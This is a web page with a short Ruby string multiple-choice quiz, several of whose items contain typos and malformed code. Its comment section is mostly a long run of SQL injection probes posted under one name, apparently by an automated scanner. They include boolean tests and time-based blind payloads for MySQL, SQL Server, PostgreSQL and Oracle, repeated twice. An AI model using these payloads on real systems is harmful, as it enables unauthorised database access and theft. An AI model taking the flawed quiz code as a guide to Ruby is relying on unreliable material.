Ruby String MCQ

This section focuses on "String" MCQs in Ruby. These Multiple Choice Questions (MCQ) should be practiced to improve the Ruby skills required for various interviews (campus interviews, walk-in interviews, company interviews), placements, entrance exams and other competitive examinations.

1. String is a sequence of _________ characters.

A. one
B. many
C. Both A and B
D. None of the above

View Answer


2. String may consists of?

A. Number
B. letter
C. Special character
D. All of the above

View Answer


3. String are?

A. mutable
B. unmutable
C. Both A and B
D. None of the above

View Answer


4. Double quotes and single quotes will interpolates ?

A. TRUE
B. FALSE
C. double quotes will interpolates
D. Single quotes will interpolates

View Answer


5. What will be output for the folowing code?

str1 = "LFC" puts 'str1: #{str1}'

A. str1: LFC
B. str1: #{str1}
C. str1: {LFC}
D. str1: #{LFC}

View Answer


6. what will be output for the following code?

str1 = LFC puts "str1: #{str1}"

A. str1: LFC
B. str1: #{str1}
C. str1: {LFC}
D. str1: #{LFC}

View Answer


7. What will be output for the following code?

str2 = String.new ""LetsFindCourse""

puts str2 

A. LETSFINDCOURSE
B. letsfindcourse
C. Error
D. LetsFindCourse

View Answer


8. In ruby, User can access the string elements by using the__________?

A. {}
B. []
C. ()
D. All of the above

View Answer


9. What will be output for the following code?

str = "LetsFindCourse Ruby MCQs" puts str[2]

A. t
B. e
C. MCQs
D. Ruby

View Answer


10. What will be output for the following code?

str = "LetsFindCourse Ruby MCQs" puts str[-2]

A. Q
B. t
C. C
D. Error

View Answer





Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+826-826-1=0+0+0+1 --

pHqghUme
-1 OR 3+826-826-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+826-826) --

pHqghUme
-1 OR 3*2>(0+5+826-826) --

pHqghUme
-1 OR 2+48-48-1=0+0+0+1

pHqghUme
-1 OR 3+48-48-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+48-48)

pHqghUme
-1 OR 3*2>(0+5+48-48)

pHqghUme
-1' OR 2+320-320-1=0+0+0+1 --

pHqghUme
-1' OR 3+320-320-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+320-320) --

pHqghUme
-1' OR 3*2>(0+5+320-320) --

pHqghUme
-1' OR 2+237-237-1=0+0+0+1 or 'lUOWe0GK'='

pHqghUme
-1' OR 3+237-237-1=0+0+0+1 or 'lUOWe0GK'='

pHqghUme
-1' OR 3*2<(0+5+237-237) or 'lUOWe0GK'='

pHqghUme
-1' OR 3*2>(0+5+237-237) or 'lUOWe0GK'='

pHqghUme
-1" OR 2+537-537-1=0+0+0+1 --

pHqghUme
-1" OR 3+537-537-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+537-537) --

pHqghUme
-1" OR 3*2>(0+5+537-537) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
Lu7lb1oC'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 313=(SELECT 313 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 15=(SELECT 15 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 240=(SELECT 240 FROM PG_SLEEP(15))--

pHqghUme
wzHcOiTr' OR 465=(SELECT 465 FROM PG_SLEEP(15))--

pHqghUme
N3BSSzVP') OR 451=(SELECT 451 FROM PG_SLEEP(15))--

pHqghUme
1WMFbbLQ')) OR 912=(SELECT 912 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@6Yt5T

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+97-97-1=0+0+0+1 --

pHqghUme
-1 OR 3+97-97-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+97-97) --

pHqghUme
-1 OR 3*2>(0+5+97-97) --

pHqghUme
-1 OR 2+572-572-1=0+0+0+1

pHqghUme
-1 OR 3+572-572-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+572-572)

pHqghUme
-1 OR 3*2>(0+5+572-572)

pHqghUme
-1' OR 2+976-976-1=0+0+0+1 --

pHqghUme
-1' OR 3+976-976-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+976-976) --

pHqghUme
-1' OR 3*2>(0+5+976-976) --

pHqghUme
-1' OR 2+234-234-1=0+0+0+1 or 'HUa4Nd1Y'='

pHqghUme
-1' OR 3+234-234-1=0+0+0+1 or 'HUa4Nd1Y'='

pHqghUme
-1' OR 3*2<(0+5+234-234) or 'HUa4Nd1Y'='

pHqghUme
-1' OR 3*2>(0+5+234-234) or 'HUa4Nd1Y'='

pHqghUme
-1" OR 2+572-572-1=0+0+0+1 --

pHqghUme
-1" OR 3+572-572-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+572-572) --

pHqghUme
-1" OR 3*2>(0+5+572-572) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
6ZITAkNk'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 947=(SELECT 947 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 773=(SELECT 773 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 813=(SELECT 813 FROM PG_SLEEP(15))--

pHqghUme
lt3S1aBU' OR 616=(SELECT 616 FROM PG_SLEEP(15))--

pHqghUme
Xe3Ocoq8') OR 346=(SELECT 346 FROM PG_SLEEP(15))--

pHqghUme
Wq3Nc3en')) OR 116=(SELECT 116 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@HFQZH